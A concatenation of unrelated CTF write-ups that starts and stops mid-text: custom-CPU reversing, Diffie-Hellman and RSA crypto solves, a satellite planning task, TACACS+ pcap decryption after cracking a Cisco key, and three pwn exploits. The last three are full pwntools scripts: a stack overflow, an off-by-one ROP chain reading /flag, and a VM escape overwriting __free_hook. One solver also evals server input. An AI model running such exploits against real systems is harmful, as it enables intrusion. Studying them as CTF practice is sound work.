2. Ran 'strings' on the 'cpu' binary to try to get some info on it, there's a bunch of references to a stack and some error messages to do with certain instructions, so this gives an idea of what kind of instructions we might be dealing with (mov, xor, add, store, push, pop, jmp, prnt) and that it's a stack-based system.
3. Hexdumped the 'flag' binary to try to find the instruction set width, incorrectly guessed 9 bytes at first because it's almost entirely sets of 2-3 instructions in a sequence. Figured out by randomly changing bytes here and there that 0x05 is an invalid instruction (error message gets emitted), so by changing various bytes to this to identify which bytes were instruction and which were data I eventually figured out the instructions are actually 3 bytes wide (ish, it turned out later). Everything started to make more sense once I figured this part out.
4. Using the instruction set width and the info from strings, figured out that most of the code is PUSHing a letter onto the stack (0x04), then popping the letter from the stack and printing it (0x08, which I'll call PRNT). The "I" in "I put the flag here somewhere" isn't actually in the place in the code that you'd expect (at least in plain text) though, whereas all the other letters are. I initially thought the 0x00 x3 after each PUSH was a NOOP, but after more testing it turned out to be part of the argument to PUSH.
5. Investigated where the "I" came from, at first I thought it was a jump somewhere that printed it, but eventually figured out that the code for the "I" seemed to PUSH a number, do something else, then PRNT. The argument for the "something else" instruction plus the number originally pushed added up to the ASCII value for "I", so I figured the mystery instruction must be ADD (0x10), which ADDs the immediate value to the top item on the stack.
6. Threw a tiny "disassembler" (if you can call it that) together in ruby that just understood the instructions I understood so far, and it turned out that's all the 'flag' binary used! The other instructions supported by the CPU aren't involved in this challenge.
7. Disassembling the 'flag' binary, it showed that after the message it displayed, it actually kept PUSHing more things to the stack and ADDing to them, but there were no more PRNT calls, so everything was invisible.
8. Added PRNT calls after each PUSH/ADD pair, which resulted in the flag being output!
# Instruction SetInstruction set in the end (from looking at the 'cpu' binary I know there's more, but the 'flag' binary only uses these ones). The instruction set is variable width, the first byte is instruction, then either 2 more bytes or 5 more bytes (3 or 6 total bytes per instruction), it looks like to me?
* 0x04 - PUSH - 5 byte arg - Push argument to the stack.* 0x08 - PRNT - 2 byte arg - Display information on the terminal, second byte of argument specifies what kind of information (0=print contents of register 0, 1=pop the top item off the stack and display it. Only 1 is used in 'flag' binary)* 0x10 - ADD - 5 byte arg - Add the argument to the top item on the stack. The result replaces the top item on the stack.
# Lessons Learned* When looking at a new/mystery architecture, start with small word sizes and work up. I wasted a bunch of time while I was thinking it ran on 9-byte words, and things made a lot more sense when I started assuming 3-byte. 3-byte also turned out to be not entirely correct, but everything started getting unlocked once I made that assumption at least. It's easier to glue two lines of words together in your head than it is to split up longer words. * I spent too much time trying to reverse the 'cpu' executable, when reversing the instruction set based on the 'flag' binary turned out to be much more straightforward. Coming up with a couple potential strategies at first and flipping to an alternate one when I wasn't making much progress using the first one was a good idea here, and I'll try to keep this in mind in the future. * I need better options for CLI hex editing, that slowed me down a bit on this one. I eventually wrote a tiny bash script that used xxd to dump the binary to a hex file 3 bytes wide, edit it in vim, then use xxd -r to reassemble it into binary. Every time I needed to add an instruction I had to renumber all the following addresses though, which was a huge pain. Something to sort out for next time.
# NoteAfter thinking about it more and reading other writeups, it's clear that the stack isn't actually involved here, what I thought was PUSH is actually STORE to register, and what I was interpreting as pop/print is just 'print register'.
Not entirely sure where my idea that a stack was involved in this flag came from, but these things happen when you're under time pressure and your understanding is evolving as you go. I'm going to leave this writeup as-is as it was my understanding at the time, and worked well enough to get the flag! |
Eval is useful to do operation.```#!/usr/bin/pythonfrom pwn import *p = connect("chals20.cybercastors.com",14429)print p.recv()p.send('\n')while True: data = p.recv().split(' ') print data one,two,three,four,five,six,seven,eight,nine=1,2,3,4,5,6,7,8,9 if data[3] == "minus": data[3] = "-" if data[3] == "plus": data[3] = "+" if data[3] == "divided-by": data[3] = "//" if data[3] == "multiplied-by": data[3] = "*" result = eval(str(data[2])+data[3]+str(data[4])) print result p.send(str(result)) print p.recv()``` |
# Difficult Decryption
> We intercepted communication between two VERY important people, named Alice and Bob. Can you figure out what this is supposed to mean?> > Alice: "Bob, I need to tell you something."> > Bob: "What?"> > Alice: "It's top-secret, so let's use a secure encryption method."> > Bob: "Is that really necessary? Like, who would listen?"> > Alice: "Doesn't matter. This is really serious."> > Bob: "Uh, okay then."> > Alice: >> Modulus: 491988559103692092263984889813697016406>> Base: 5> > Base ^ A % Modulus:>> 232042342203461569340683568996607232345>> -----> Bob: > Got it.> > Here's my Base ^ B % Modulus:>> 76405255723702450233149901853450417505>> -----> Alice: > Thanks. > > Here's the encoded message: > 12259991521844666821961395299843462461536060465691388049371797540470> > I encoded it using this Python command: "message ^ (pow(your_key, A, modulus))". Your_key is Base ^ B % Modulus.>> After you decode the message, it will be a decimal number. Convert it to hex. You know what to do after that.>> -----> Bob: Okay.>> Alice: Also, do NOT tell anyone what I just told you. I'll give you more information later.
## Description
We get an exchange between Alice and Bob. We can see the encoded message using a [one time pad](https://en.wikipedia.org/wiki/One-time_pad), the shared key being obtained using a [Diffie-Hellman key exchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange).
As a remainder, the exchange works as follow:
- A common modulus `p` and a generator `g` are chosen. Here `p` is the modulus and `g` the base.- Alice and Bob choose private keys `A` and `B`.- They send to each other their public keys `pA = g^A [p]` and `pB = g^B [p]`- They deduce the same shared key `K = pA ^ B = pB ^ A = g^(AB) [p]`.
Then this shared key is xored with the message to get the ciphertext.
## Solution
The idea here is to find the private key of one party. This is the Discrete Logarithm Problem (DLP).
We will be using the [Pohlig-Hellman algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm) to solve the discrete logarithm problem. [This paper](http://anh.cs.luc.edu/331/notes/PohligHellmanp_k2p.pdf) explains it very well. The steps are as follow:- first compute `phi(p)` (Euler's totient function), decompose it in prime factors.- solve the DLP for every factor: this gives an easier subproblem.- combine all results using the Chinese Remainder Theorem.
Disclaimer: as the factors are very small, code shown here is not optimal.
### Helper functions
First we define some number theory helper functions.
#### Extended Euclid's Algorithm and Modular Inversion
```pythondef egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m```
([Source](https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python))
#### Very naïve factorization and phi computation
```pythondef compute_phi(N): N_ = N phi = 1 x = 2 while N_ != 1: if N_ % x == 0: N_ //= x phi *= (x-1) while N_ % x == 0: N_ //= x phi *= x x += 1 return phi
def factorize(N): N_ = N factors = [] exponents = [] x = 2 while N_ != 1: if N_ % x == 0: N_ //= x factors.append(x) exponents.append(1) while N_ % x == 0: N_ //= x exponents[-1] += 1 x += 1 return factors, exponents```
#### Gauss Algorithm for the CRT
```pythondef ChineseRemainderGauss(n, N, a): result = 0 for i in range(len(n)): ai = a[i] ni = n[i] bi = N // ni result += ai * bi * modinv(bi, ni) return result % N```
([Source](https://medium.com/@astartekraus/the-chinese-remainder-theorem-ea110f48248c))
### Implementation of Pohlig–Hellman Algorithm
Then comes the real interesting part: the implementation of Pohlig–Hellman Algorithm.
First I define a naïve brute force for solving the DLP:
```pythondef bruteforce_DLP(A, B, p, q): for i in range(q): if B == pow(A,i,p): return i```
This function bruteforces the solution of the DLP `A^x = B [p]`, knowing the order of `A` is at most `q`.
Using this function, I can compute a DLP solution modulo `q^m` where `q` is prime. The following function finds `x` modulo `q^m` such that `alpha^x = beta [p]`.
To do this, I express `x = a_0 + a_1 q + ... + a_{b-1} q^(b-1) [q^m]`, and I compute coefficients `a_i` one by one. Look at the paper cited above for more precise explanations.
```pythondef easy_DLP(q, m, alpha, beta, p): A = pow(alpha, order//q, p) alpha1 = modinv(alpha,p)
q_pow = 1 x = 0 for i in range(m): B = pow(beta, order // (q_pow*q), p) ai = bruteforce_DLP(A, B, p, q) x += (ai*q_pow) beta *= pow(alpha1, ai*q_pow, N) beta = beta % N q_pow *= q return x```
Finally I can produce the Pohlig–Hellman Algorithm: it finds `x` such that `alpha^x = beta [p]` where `order` is the order of `alpha` in (*Z*/p*Z*)* and `beta` belongs in the subgroup generated by `alpha`.
```pythondef pohlig_hellman(alpha, beta, p, order): remainders = [] modulo = [] factors, exponents = factorize(order) for q,m in zip(factors,exponents): remainders.append(easy_DLP(q, m, alpha, beta, p)) modulo.append(q**m)
return ChineseRemainderGauss(modulo, order, remainders)```
### Finding the flag
With all our number theory algorithms, we can find the flag.
```python# Define constantsN = 491988559103692092263984889813697016406g = 5yA = 232042342203461569340683568996607232345yB = 76405255723702450233149901853450417505
ctxt = 12259991521844666821961395299843462461536060465691388049371797540470
# Find the subgroup generated by gphi = compute_phi(N)factors_phi, _ = factorize(phi)
order = phifor p in factors_phi: while pow(g, order // p, N) == 1: order //= pprint("Order:", order)# Order: 39329404631756038800
# Solve the DLPxA = pohlig_hellman(g, yA, N, order)print("Alice's secret key:", xA)# Alice's secret key: 25222735067058727456
# Compute the shared key and decrypt the OTPkey = pow(yB, xA, N)print(bytes.fromhex(hex(ctxt ^ key)[2:]))```
Flag: `tjctf{Ali3ns_1iv3_am0ng_us!}` |
# SummaryThe 'Good Plan? Great Plan!' challenge listed a server and port number only, with no other files or resources. Upon connecting to the port, it listed a location on Earth to photograph, a location where data needed to be downlinked, TLEs for the satellite you would be using, and the command set you had to use to accomplish the mission. The goal was to build a mission plan to capture 120MB worth of imaging data over the target and downlink that information to the ground station within 48 hours, without exceeding any operational parameters (such as running the battery dead or exceeding a 60C temperature on any component).
# Tools/InfrastructureOur team has a couple servers we use as a launching point for CTF work, so my work was done on these. No other tooling was needed other than Ruby, which is the primary language I prefer for challenges like this. Python with the 'pyephem' package would have worked just as well however.
# PrefaceTo start off, a few satellite concepts which will be important later. The orbit of our satellite is provided as a Two Line Element Set, a standard format for specifying all of the parameters that define the orbit a satellite is in, and where on that orbit it was at a given point in time. We'll need this later to be able to figure out where the satellite is at each point in time so that we'll know what action to be performing.
The other important detail for this challenge are reaction wheels. These are spinning wheels found on some satellites, the changes in speed of which cause the attitude of the satellite to change in the opposite direction. This allows a computer on-board the satellite to keep it pointed at a specific point by making small changes to the speed of 3 separate reaction wheels (one in each axis). Over time the wheels may have to spin faster and faster to counteract external forces, and eventually the wheel will be spinning as fast as it can (it will have reached "saturation"). At this point, attitude control would be lost as it can no longer apply any further force in one direction of rotation, it can only slow down. Either a thruster or some other method would need to be used to transfer the stored momentum out of the wheels to some other place.
In this simulation, magnetorquers are used for this (though the specifics don't end up mattering). Magnetorquers (or "torque rods") are essentially just electromagnets that allow a satellite to interface with earth's magnetic field to stabilize itself. In this example, when the reaction wheels reach saturation the magnetorquer would be used to transfer some of the stored momentum to earth through the magnetic fields, thus allowing the wheels to slow back down without the satellite losing attitude control.
# Phase 1 - DiscoveryTo start off, I connected to the provided IP/port with netcat to see what the challenge was in the first place. It explained about needing to photograph the Iranian space port, then downlink the data to Fairbanks within 48 hours. To input the mission, you needed to submit a list of times and commands to run at those specific times, with a resolution of one minute. There were 4 commands listed:
* sun_point: Point solar panels at the sun to charge the batteries.* imaging: Collect imaging data (photos/video/etc.)* data_downlink: Transmit data stored onboard to the ground station.* wheel_desaturate: Desaturate the reaction wheels using the magnetorquers.
I assumed based on the description of the challenge that there weren't any secret commands that needed discovering, and that we could complete the challenge using only these four.
The easiest way to complete the challenge seemed to be to spend one day of orbits imaging, then one day of orbits downlinking, assuming enough data could be collected and offloaded in one orbit each to complete the challenge. I didn't really expect this to be successful especially given the provided commands to sunpoint and desaturate, but figured it was a good starting point and would give more details about what the plans actually needed to take into account.
Entering this simple plan, I asked the satellite to execute it. Immediately it errored out saying that the target site was not visible, so imaging was impossible. This told me that I could only switch to imaging mode while over the target site, and likely the same would apply to downlinking data to the ground station. Time for a more detailed plan.
# Phase 2 - OrbitsThe information given upon connection included TLEs for the satellite you were to be controlling. Given this and the latitude/longitude of the site to be imaged as well as the ground station, I knew I could then figure out what time the satellite will be over the two sites. If this weren't for a CTF, I'd likely be looking for information about what satellites were visible at the current time at my current location, but since this is a fictional situation I needed something a little more flexible than my normal tracking application.
A quick search found the 'orbit' ruby gem (https://github.com/jeffmcfadden/orbit) which seemed like it would do exactly what I need. With it installed, I threw together a tiny program (https://github.com/sarahemm/ctf-tools/blob/master/2020-hackasat/good_plan-great_plan/orbit-calc.rb) that would use the TLE plus locations of the two sites to tell me when the satellite was visible from either site. What "visible" means can vary, since depending on the terrain around the site, the type of images required, antennas in use, etc. it may require a different elevation above the horizon to actually be functional, but I figured I'd start with "above zero" and go from there.
I took some of the values out of the orbit calculator I'd thrown together and came up with the beginnings of a mission plan. Pasting that into the console of the challenge, it still complained that the site wasn't in view when I tried to switch to imaging. I bumped the time up little by little until it was accepted, which came to around 6 degrees elevation above the horizon. I updated the calculator to only report passes once they were above that elevation so that I wouldn't have to worry about that part anymore. The orbit calculator tool then output this type of information:
* At 2020-04-22 01:13:00 UTC, sat is at 8.36 deg to the downlink antenna* At 2020-04-22 01:14:00 UTC, sat is at 14.28 deg to the downlink antenna* At 2020-04-22 01:15:00 UTC, sat is at 17.90 deg to the downlink antenna* At 2020-04-22 01:16:00 UTC, sat is at 15.31 deg to the downlink antenna* At 2020-04-22 01:17:00 UTC, sat is at 10.16 deg to the downlink antenna
# Phase 2.5 - ToolingManually reading YAML telemetry was getting old, and the mission plan was getting long and complicated enough that copy/pasting it into the challenge server for each attempt wasn't ideal. I put a little Ruby app together which handled submitting the token, storing and sending the plan, and converting the telemetry coming back into more of a human readable format (https://github.com/sarahemm/ctf-tools/blob/master/2020-hackasat/good_plan-great_plan/mission.rb).
I built the first part of the mission plan, which involved charging batteries until the target was within range, collecting imaging data until it almost went out of view, switching back to charging until within radio reach of the ground station, and downlinking the data. Running this errored out when the camera overheated, so I reduced the amount of imaging by a couple minutes to keep it within temperature range, then re-ran. Success, ish! Didn't collect enough data in one pass, but at least it got some data and sent it to the ground station.
# Phase 3 - SolvingAt this point I had the basics down, and the rest was just tweaking the plan stored in mission.rb until I had it solved. I took the next passes that orbit-calc.rb gave me and added another imaging/downlink pass, but upon executing the plan I realized it was night time, so the camera on the satellite wasn't going to be much use! I had to skip that pass, and instead capture more imaging data on the next pass once the sun came back up.
The last thing to figure out was that the reaction wheels reached saturation mid-morning on the second day, which would have resulted in the satellite losing attitude control (or in our simulation, an error message). I added a mission step to desaturate the wheels using the onboard magnetorquers before and after the second imaging/downlink passes, which kept them safely in the operational RPM range. I re-ran the mission and after 48 simulated hours, the flag came out! Accompanied by some ASCII art of a satellite this time.
# Lessons Learned/Reinforced* The "light automation" approach I try to take during CTFs worked well here. I could have built the orbit calculator into the mission app, and I could have had the mission app learn how fast the battery ran down, how fast the camera heated up, etc. to automate the whole thing. When time is at a premium during a CTF however, I find it quicker to automate a few things then manually take care of the rest to get the solve. Often building a couple independent small tools and moving data between them by hand can be faster to build and troubleshoot than building one large thing, at least for me.
* If you look at the mission.rb tool, it includes some code to display warnings ahead of things going out of range but it's only implemented for the reaction wheels. As I got into building this function I realized that, while it might be useful if this was a tool to be used frequently, it didn't make sense in the context of a CTF as I could just catch these situations by eye and resolve them that way. Implementing the warning functionality would have taken more time than it ever would have saved in the single use this tool would ever be used for. I tend to implement too many features that aren't really useful enough to justify in a CTF situation, and I need to try to do better thinking about each feature I'm implementing and whether it's really needed in that context. |
# Omni Crypto
* classic RSA, * given N, e = 65537, cipher* but broken prime generator
## Prime generator
* size 1024 bit per prime* split into 3 parts,`len(middle) = random(16,504)``len(first) = random(8,middle)`* first and third part of p,q are the same !!
* $p = c|x|d = c\cdot 2^* + d + x\cdot 2^{**}$* $q = c|y|d = c\cdot 2^* + d + y\cdot 2^{**}$
## Solution
* use Coppersmith https://doi.org/10.1007%2F3-540-68339-9_14 (2nd part of paper)* if we know half the bits of p, we can get everything* brute-force, where the split happened (< 125.000 cases)* better: assume unknown part is maximal, and just try `len(first)` (<500 cases)### upper bits: * playing around with formulas, to find out how many valid bits we get from $n$* $n = (c\cdot 2^r+x)(c\cdot 2^r+y)$* $n >> 2048 - r = c^2 >> r$ * because everything else is too small* so we get `len(first)` bits, * via bisection
### lower bits* Hensel-Lifting (or something the like)* determine one bit after the other, starting at lowest* $n = (x\cdot 2^s+d)(y\cdot 2^s+d)$* $n \bmod 2^s = d^2 \bmod 2^s$* mod 8 we have solution 1,3,5,7* for every further bit, must extend one of these solutions, * we have 8 candidates, but only 4 are solutions* yields: square-root(s) modulo $2^{foo}$
### middle part* equation with 2 variables, degree 2* Coppersmith finds small solution* challenge: find an implementation: https://github.com/ubuntor/coppersmith-algorithm/blob/master/coppersmith.sage
Code takes a few minutessuccess at rand = 130
```# copy function coron from ubuntor, see link
def int_to_str(n): if n == 0: return '' return int_to_str(n // 256) + chr(n % 256)
n,cipher = [int(x[4:],16) for x in open('output.txt','r').read().splitlines()]size = 1024half = size // 2 - 8stop = Falsefor rand in range(8,half):#for rand in [130]: print(rand) rest = size - half - rand upper = 8 candidates = [1,3,5,7] for digits in range(4, rest): candidates += [c + upper for c in candidates] upper <<= 1 candidates = [c for c in candidates if pow(c,2,upper) == n % upper] upper_cand = [3] c0 = '0b1' base = 1023 for i in range(1,rand): if (int(c0 + '1',2) << base - i)**2 > n: c0 += '0' else: c0 += '1' c0 = int(c0,2) P.<x,y> = PolynomialRing(ZZ) X = Y = 2**half for c2 in candidates: pol = (c0 * 2**(size - rand) + c2 + x * 2**rest)*(c0 * 2**(size - rand) + c2 + y * 2**rest) - n res = coron(pol, X, Y) if len(res) > 0: p = (c0 * 2**(size - rand) + c2 + res[0][0] * 2**rest) q = (c0 * 2**(size - rand) + c2 + res[0][1] * 2**rest) #print(res) print('%d, %d' % (p,q))
phi = (p-1)*(q-1) e = 65537 d = pow(e,-1,phi) print(int_to_str(pow(cipher,int(d),n))) stop = True break if stop: break``` |
# RattataTACACS
Forensics challenge on a network communications. From the server we retrieve the file `Chall.pcapng`. These files are readable with Wireshark or tshark.
## Protocols
Using tshark we first have a look at all protocols in file.
```console$ tshark -r Chall.pcapng -T fields -e frame.protocols | sort | uniqeth:ethertype:arpeth:ethertype:ip:icmp:ip:udpeth:ethertype:ip:tcpeth:ethertype:ip:tcp:tacpluseth:ethertype:ip:udp:tftpeth:ethertype:ip:udp:tftp:dataeth:ethertype:loop:dataeth:llc:cdp```
There are 8 outputs. For those who do not know, the lines```consoleeth:ethertype:ip:tcp:tacplus```refer to a CISCO proprietary protocol used for identification: TACACS+. As explained in [the Wikipedia article](https://en.wikipedia.org/wiki/TACACS), "TACACS+ [...] encrypts the full content of each packet", so the first thing we are tempted to do is decrypt the content of the TACACS frame.
## Decryption of TACACS+ frames.
The TACACS+ streams are obtained with the following command```console$ tshark -r Chall.pcapng -T fields -e tcp.stream | sort | uniq
01```
There are two streams. Let's have a look in them. For that, we need to be able to decrypt them. The UDP exchanges between 10.1.1.1 and 10.1.1.2 could contain useful information. And indeed, following the TFTP streams (Analyze > Follow > UDP Stream in wireshark), we find `tacacs-server host 192.168.1.100 key 7 0325612F2835701E1D5D3F2033` in the odd streams.
Using [this website](https://www.ifm.net.nz/cookbooks/passwordcracker.html), we can crack the key and obtain the word of the image below.
Going then into Preferences > Protocols > TACACS+, we can set the encryption key as shown below.
And scrolling throught the TACACS+ frames, we see at the third one a flag as shown below.
|
Summary: We're provided a file containing the save state of a computer implemented in Conway's Game of Life (GoL). It'sa modified version of [Quest for Tetris](https://github.com/QuestForTetris/QFT). The CTF problem is the same CPU implementation, but with different ROM values. Solving the problem required dumping the ROM from the GoLfile, writing a disassembler for instructions in ROM, running those instructions in an interpreter, and figuring out theinitial starting value in RAM slot 1 to get the program to write the flag.
[Full Writeup](https://github.com/WilliamParks/ctf_writeups/tree/master/ctf_writeups/defcon_quals_2020/fountain-ooo-reliving) |
# Tinder
> Start swiping!
Attached is a binary.
## Description
Let's dissassemble the binary with Ghidra.
```cint main(void){ char local_a8 [32]; char local_88 [64]; char local_48 [16]; char local_38 [16]; char local_28 [16]; FILE *local_18; int local_14; undefined *local_10; local_10 = &stack0x00000004; local_14 = 0; setup(); puts("Welcome to TJTinder, please register to start matching!"); printf("Name: "); input(local_28,1.00000000); printf("Username: "); input(local_38,1.00000000); printf("Password: "); input(local_48,1.00000000); printf("Tinder Bio: "); input(local_88,8.00000000); putchar(10); if (local_14 == -0x3f2c2ff3) { printf("Registered \'%s\' to TJTinder successfully!\n",local_38); puts("Searching for matches..."); sleep(3); puts("It\'s a match!"); local_18 = fopen("flag.txt","r"); if (local_18 == (FILE *)0x0) { puts("Flag File is Missing. Contact a moderator if running on server."); /* WARNING: Subroutine does not return */ exit(0); } fgets(local_a8,0x20,local_18); printf("Here is your flag: %s",local_a8); } else { printf("Registered \'%s\' to TJTinder successfully!\n",local_38); puts("Searching for matches..."); sleep(3); puts("Sorry, no matches found. Try Again!"); } return 0;}```
And the input function:
```cint input(char *str,float f){ size_t sVar1; char *pcVar2; fgets(str,(int)ROUND(f * 16.00000000),stdin); sVar1 = strlen(str); if (1 < sVar1) { pcVar2 = strchr(str,10); if (pcVar2 == (char *)0x0) { do { str = (char *)fgetc(stdin); } while (str != (char *)0xa); } else { sVar1 = strlen(str); str = str + (sVar1 - 1); *str = '\0'; } return (int)str; } puts("No input detected. Registration failed."); /* WARNING: Subroutine does not return */ exit(0);}```
In order to get the flag, the variable `local_14` needs to be set to `-0x3f2c2ff3 = 0xc0d3d00d`.
Reading the code from the `input` function, we see that if `input(buf, x)` is called, then we can enter `16x` characters in the buffer.
Therefore there is a bug and we can overflow the `local88` buffer, entering a maximum of `8 * 16 = 128` characters instead of 64.
## Solution
Therefore, we overflow the buffer until we overwrite the `local_14` variable.
```pythonfrom pwn import *
sh = remote("p1.tjctf.org", 8002)
print(sh.recvuntil("Name: ").decode())sh.sendline("my name")print(sh.recvuntil("Username: ").decode())sh.sendline("user")print(sh.recvuntil("Password: ").decode())sh.sendline("pass")print(sh.recvuntil("Bio: ").decode())
payload = b' '*(64+16+16+16) + p32(0xc0d3d00d) + p32(0xc0d3d00d) + p32(0xc0d3d00d)sh.sendline(payload)
sh.interactive()```
Flag: `tjctf{0v3rfl0w_0f_m4tch35}` |
include pwn challenge bf, vm, no_write, note,mginx and re challenge cipher
## bf
A brain fuck interpreter written by c++, the structure that program used :
```cppstruct brain_fck{ char data[0x400]; // data string code; // brain fuck code};```
`'>'` op caused `off_by_one` :

The compare condition is `v21 > &v25` not `>=`,so we can read or modify the brain_fck.code's lowbit.
`brain_fck.code` is a string,string class almost look like(Of course, I omitted most of the class ):
```cppclass string{ char* ptr; size_t len; char buf[0x10];}```
string class will put the characters in the buf when string.length() less then 16,it means ptr pointer to itself 's buf; And it will use malloc when the string length large or equal 16.
As we can modify the brain_fck.code's lowbit,it means we can modify brain_fck.code.ptr to arbitrary write and read.
Because the brain_fck.code is in stack in the first, we just make sure that the brain fuck code we input length less then 16 to make the brain_fck.code.ptr point to stack memory instead of heap.
So a basic exploit as follows:
- leak brain_fck.code.ptr's lowbit- leak stack and libc address- modify ret value of main function- hijack it with ROP
exp:
```pythonfrom pwn import *import sys
context.arch = 'amd64'
def write_low_bit(low_bit,offset): p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+offset)) p.recvuntil("your code: ") p.recvuntil("continue?\n") p.send('y') p.recvuntil("enter your code:\n") p.sendline("\x00"*0xf) p.recvuntil("continue?\n") p.send('y')
def main(host,port=6002): global p if host: p = remote(host,port) else: p = process("./bf") # gdb.attach(p) # leak low_bit p.recvuntil("enter your code:\n") p.sendline(",[.>,]>.") p.send("B"*0x3ff+'\x00') p.recvuntil("running....\n") p.recvuntil("B"*0x3ff) low_bit = ord(p.recv(1)) info(hex(low_bit)) if low_bit + 0x70 >= 0x100: # :( sys.exit(0) # debug(0x000000000001C47) p.recvuntil("continue?\n") p.send('y') # leak stack p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x20)) p.recvuntil("your code: ") stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n") p.send('y') # leak libc p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x38)) p.recvuntil("your code: ") libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n") p.send('y') # do rop # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; p_rdi = 0x00000000000a17e0 + libc.address p_rdx_rsi = 0x00000000001306d9 + libc.address ret = 0x00000000000d3d8a + libc.address p_rax = 0x00000000000439c8 + libc.address syscall_ret = 0x00000000000d2975 + libc.address rop_chain = [ 0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1,0,-1): write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i)) p.recvuntil("enter your code:\n") p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6]) p.recvuntil("continue?\n") p.send('y') write_low_bit(low_bit,0) p.recvuntil("enter your code:\n") p.sendline('') p.recvuntil("continue?\n") p.send('n') payload = "/flag".ljust(0x30,'\x00') payload += flat([ p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret, p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret, p_rax,1,p_rdi,1,syscall_ret ]) p.send(payload.ljust(0x100,'\x00')) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./bf",checksec=False) main(args['REMOTE'])
```
## vm
read the flag and use exit code to leak it one by one.
vm structure:
```cpptypedef struct{ uint64_t r0; uint64_t r1; uint64_t r2; uint64_t r3; uint64_t r4; uint64_t r5; uint64_t r6; uint64_t r7; uint64_t* rsp; uint64_t* rbp; uint8_t* pc; uint32_t stack_size; uint32_t stack_cap;}vm;```
vm instruction:
```cppenum{ OP_ADD = 0, //add OP_SUB, //sub OP_MUL, //mul OP_DIV, //div OP_MOV, //mov OP_JSR, //jump register OP_AND, //bitwise and OP_XOR, //bitwise xor OP_OR, //bitwise or OP_NOT, //bitwise not OP_PUSH, //push OP_POP, //pop OP_JMP, //jump OP_ALLOC, //alloc new stack OP_NOP, //nop};```
The program first reads an instruction of 0x1000 length, then checks whether the instruction is legal or not, and passes the number of instructions together to the run_vm function, and run_vm function start to execute the instruction.
There are no check with JMP and JSR instruction in the check_instruction function,and look at the init_vm function:

vm->stack is allocated after vm->pc,it means vm->stack at high address,so we can push the instruction into stack first and jmp to stack to run the instruction that not be checked. Now we can use MOV instruction to arbitrary read and write.
So a basic exploit as follows:
- push the instruction into stack and jmp to stack to run it- Reduce the size of the chunk where the vm->stack is located so that it doesn't merge with top_chunk after free, and we can use the remaining libc address on the heap- Use ADD,SUB and MOV instruction to arbitrary write,modify `__free_hook` to `setcontext+53` - trigger free to hijack it
exp:
```pythonfrom pwn import *
context.arch="amd64"
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def push_code(code): padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8) c = code+p8(instr["nop"])*padding # align 8 push_count = len(c)/8 sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count) for i in range(push_count-1,-1,-1): sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8])) return sc
def main(host,port=6001): global p if host: pass else: pass # debug(0x000000000000F66) flag = '' for i in range(0x40): p = remote(host,port) code = p8(instr["mov"])+p8(8)+p8(0)+p8(9) # mov r0,rbp code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701) # add r1,0x701 code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808) # sub r0,0x800 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 ; overwrite chunk size code += p8(instr["alloc"])+p32(0x400) # alloc(0x400) ; free chunk code += p8(instr["add"])+p8(1)+p8(0)+p64(8) # add r0,0x8 code += p8(instr["mov"])+p8(16)+p8(2)+p8(0) # mov r2,[r0] code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140) # sub r2,0x3ec140 ; r2 --> libc_base code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"]) # add r3,libc.symbols["__free_hook"] code += p8(instr["mov"])+p8(8)+p8(4)+p8(2) # mov r4,r2 code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35) # add r4,libc.symbols["setcontext"]+0x35 code += p8(instr["mov"])+p8(32)+p8(3)+p8(4) # mov [r3],r4 ; overwrite chunk size code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00"))) # mov r1,'/flag' code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 code += p8(instr["mov"])+p8(8)+p8(1)+p8(0) # mov r1,r0 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68) # add r0,0x68 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rdi code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10) # add r0,0x10 code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300) # add r1,0x300 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rbp code += 